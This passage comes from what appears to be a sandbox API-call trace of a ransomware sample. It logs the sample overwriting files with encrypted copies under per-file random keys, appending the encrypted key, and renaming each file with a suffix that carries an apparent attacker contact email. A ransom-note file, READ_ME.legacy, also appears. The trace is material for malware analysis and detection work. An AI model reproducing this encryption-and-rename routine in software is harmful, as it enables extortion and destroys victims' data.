Size=0x8) returned 0x5c3508 [0144.108] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0144.108] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0144.108] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0144.109] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0144.109] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0144.109] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0144.109] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c4 [0144.109] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5153816) returned 1 [0144.109] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4ea418) returned 0x3121020 [0144.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4ea418) returned 0x361f020 [0144.136] ReadFile (in: hFile=0x7c4, lpBuffer=0x3121020, nNumberOfBytesToRead=0x4ea418, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3121020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ea418, lpOverlapped=0x0) returned 1 [0144.428] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=-5153816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.428] WriteFile (in: hFile=0x7c4, lpBuffer=0x361f020*, nNumberOfBytesToWrite=0x4ea418, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x361f020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ea418, lpOverlapped=0x0) returned 1 [0144.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3121020 | out: hHeap=0x520000) returned 1 [0144.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x361f020 | out: hHeap=0x520000) returned 1 [0144.531] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ea418 [0144.531] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0144.531] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0144.531] WriteFile (in: hFile=0x7c4, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0144.531] WriteFile (in: hFile=0x7c4, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0144.531] CloseHandle (hObject=0x7c4) returned 1 [0144.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0144.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0144.532] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0144.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a5b0 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a6a8 | out: hHeap=0x520000) returned 1 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5639a0 | out: hHeap=0x520000) returned 1 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0144.534] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe12e73da, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60cb18 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0144.534] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0144.534] GetLastError () returned 0x0 [0144.535] SetLastError (dwErrCode=0x0) [0144.535] GetLastError () returned 0x0 [0144.535] SetLastError (dwErrCode=0x0) [0144.535] GetLastError () returned 0x0 [0144.535] SetLastError (dwErrCode=0x0) [0144.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0144.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0144.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0144.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0144.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c858 [0144.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c858 | out: hHeap=0x520000) returned 1 [0144.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0144.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0144.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0144.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0144.535] FindNextFileW (in: hFindFile=0x60cb18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe12e73da, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0144.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0144.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0144.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0144.536] GetLastError () returned 0x0 [0144.536] SetLastError (dwErrCode=0x0) [0144.536] GetLastError () returned 0x0 [0144.536] SetLastError (dwErrCode=0x0) [0144.536] GetLastError () returned 0x0 [0144.536] SetLastError (dwErrCode=0x0) [0144.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0144.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0144.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0144.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60cad8 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cad8 | out: hHeap=0x520000) returned 1 [0144.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0144.536] FindNextFileW (in: hFindFile=0x60cb18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x966f4c00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0144.536] GetLastError () returned 0x0 [0144.536] SetLastError (dwErrCode=0x0) [0144.536] GetLastError () returned 0x0 [0144.536] SetLastError (dwErrCode=0x0) [0144.536] GetLastError () returned 0x0 [0144.537] SetLastError (dwErrCode=0x0) [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a898 [0144.537] FindNextFileW (in: hFindFile=0x60cb18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12e73da, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe12e73da, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe12e73da, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0144.537] GetLastError () returned 0x0 [0144.537] SetLastError (dwErrCode=0x0) [0144.537] GetLastError () returned 0x0 [0144.537] SetLastError (dwErrCode=0x0) [0144.537] GetLastError () returned 0x0 [0144.537] SetLastError (dwErrCode=0x0) [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0144.537] FindNextFileW (in: hFindFile=0x60cb18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0144.537] GetLastError () returned 0x0 [0144.538] SetLastError (dwErrCode=0x0) [0144.538] GetLastError () returned 0x0 [0144.538] SetLastError (dwErrCode=0x0) [0144.538] GetLastError () returned 0x0 [0144.538] SetLastError (dwErrCode=0x0) [0144.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0144.538] FindNextFileW (in: hFindFile=0x60cb18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0144.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570858 [0144.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0144.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0144.538] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0144.538] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0144.538] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", dwFileAttributes=0x80) returned 1 [0144.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0144.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x5646a8 [0144.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0144.539] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8 [0144.539] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=151552) returned 1 [0144.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x25000) returned 0x2f40858 [0144.540] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x25000) returned 0x2e81f40 [0144.541] ReadFile (in: hFile=0x7c8, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x25000, lpOverlapped=0x0) returned 1 [0144.567] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=-151552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.567] WriteFile (in: hFile=0x7c8, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25000, lpOverlapped=0x0) returned 1 [0144.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0144.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0144.571] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25000 [0144.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0144.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0144.572] WriteFile (in: hFile=0x7c8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0144.572] WriteFile (in: hFile=0x7c8, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0144.572] CloseHandle (hObject=0x7c8) returned 1 [0144.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0144.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0144.573] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0144.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0144.575] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0144.575] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0144.575] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a990 [0144.575] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0144.575] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0144.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0144.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0144.575] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0144.575] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a6a8 [0144.575] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x563720 [0144.575] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a6a8 | out: hHeap=0x520000) returned 1 [0144.575] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8 [0144.576] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=821681) returned 1 [0144.576] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc89b1) returned 0x6fc020 [0144.578] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc89b1) returned 0x3125020 [0144.579] ReadFile (in: hFile=0x7c8, lpBuffer=0x6fc020, nNumberOfBytesToRead=0xc89b1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc020*, lpNumberOfBytesRead=0x2e1f9bc*=0xc89b1, lpOverlapped=0x0) returned 1 [0144.631] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=-821681, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.631] WriteFile (in: hFile=0x7c8, lpBuffer=0x3125020*, nNumberOfBytesToWrite=0xc89b1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3125020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc89b1, lpOverlapped=0x0) returned 1 [0144.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6fc020 | out: hHeap=0x520000) returned 1 [0144.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3125020 | out: hHeap=0x520000) returned 1 [0144.646] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc89b1 [0144.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0144.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, 